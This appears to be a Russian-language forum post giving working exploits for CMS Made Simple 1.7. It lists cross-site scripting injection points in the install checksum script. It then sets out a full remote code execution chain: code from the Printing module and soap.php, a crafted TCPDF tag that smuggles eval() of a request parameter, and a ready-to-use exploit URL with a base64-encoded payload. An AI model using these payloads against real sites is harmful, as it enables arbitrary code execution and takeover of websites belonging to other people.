CMS Made Simple
Cross-site Scripting
/install/cmschecksum.php?error=[XSS]
необходимо:- register_globals = on
- неудаленная папка install
install/cmschecksum.php/">[XSS]
необходимо:- неудаленная папка install
Информация о версии: /doc/CHANGELOG.txt
Remote arbitrary code execution
Уязвимость в TCPDF: http://packetstormsecurity.org/filed...-exec.txt.html
В последней версии CMS Made Simple (на момент написания поста: 1.7) используется как-раз уязвимая версия.
Сразу уточню, для эксплуатации потребуется включенная в адмике опция "Включить выдачу PDF" (Расширения > Печать страницы > Настройки PDF)
file: /modules/Printing/action.output.php
PHP код:
<?php
...
$url = base64_decode($params['url']);
$pageid = (int)$params['pageid'];
$pdf = (int)$params['pdf'];
$pdf = $pdf && $this->GetPreference('pdfenable');
$script = (int)$params['script'];
$includetemplate = (int)$params['includetemplate'];
// get the output content.
$showcontent = '';
if( startswith($url,$config['root_url']) ) {
$showcontent = $this->GetURLContent($url);
if (isset($_REQUEST["includetemplate"]) && $_REQUEST["includetemplate"]=="true") {
$showcontent=$this->GetBody($showcontent);
}
}
...
Т.е. если в параметре url будет адрес страницы, начинающийся с корня сайта с доменом (к примеру, http://test/cmsmadesimple/), и параметр pdf будет > 0, то контент страницы будет отправлен на конвертацию в pdf. Трабла в том, что загрузить файл в эту цмс обычному смертному нельзя. Решение проблемы было найдено в скрипте /soap.php
PHP код:
<?php
...
function soap_error( $str )
{
$namespaces = array(
'SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/',
'xsd' => 'http://www.w3.org/2001/XMLSchema',
'xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
'SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/'
);
$ns_string = '';
foreach( $namespaces as $k => $v )
{
$ns_string .= "\n xmlns:$k=\"$v\"";
}
$txt =
'<?xml version="1.0" encoding="ISO-8859-1"?>'.
'<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"'.$ns_string.">\n".
'<SOAP-ENV:Body>'.
'<SOAP-ENV:Fault>'.
'<faultcode>Server</faultcode>'.
'<faultstring>'.$str.'</faultstring>'.
'</SOAP-ENV:Fault>'.
'</SOAP-ENV:Body>'.
'</SOAP-ENV:Envelope>';
echo $txt;
}
...
if( !isset( $gCms->modules[$params['module']] ) )
{
header('Content-Type: text/xml');
echo soap_error("module ".$params['module']." not found");
exit;
}
...
Код:
/soap.php?module=%3Ctcpdf+method=%22Rect%22%20params=%22);eval($_REQUEST[tt]);die(%22/%3E
выводит нужный код без изменений.
Дальше все просто: url в base64_encode и в параметры запроса
Т.е. в конечном итоге должно получиться что-то вроде:
Код:
http://test/cmsmadesimple/index.php?mact=Printing,cntnt01,output,0&cntnt01url=aHR0cDovL3Rlc3QvY21zbWFkZXNpbXBsZS9zb2FwLnBocD9tb2R1bGU9JTNDdGNwZGYrbWV0aG9kPSUyMlJlY3QlMjIlMjBwYXJhbXM9JTIyKTtldmFsKCRfUkVRVUVTVFt0dF0pO2RpZSglMjIvJTNF=&cntnt01pageid=15&cntnt01pdf=2&tt=phpinfo();
|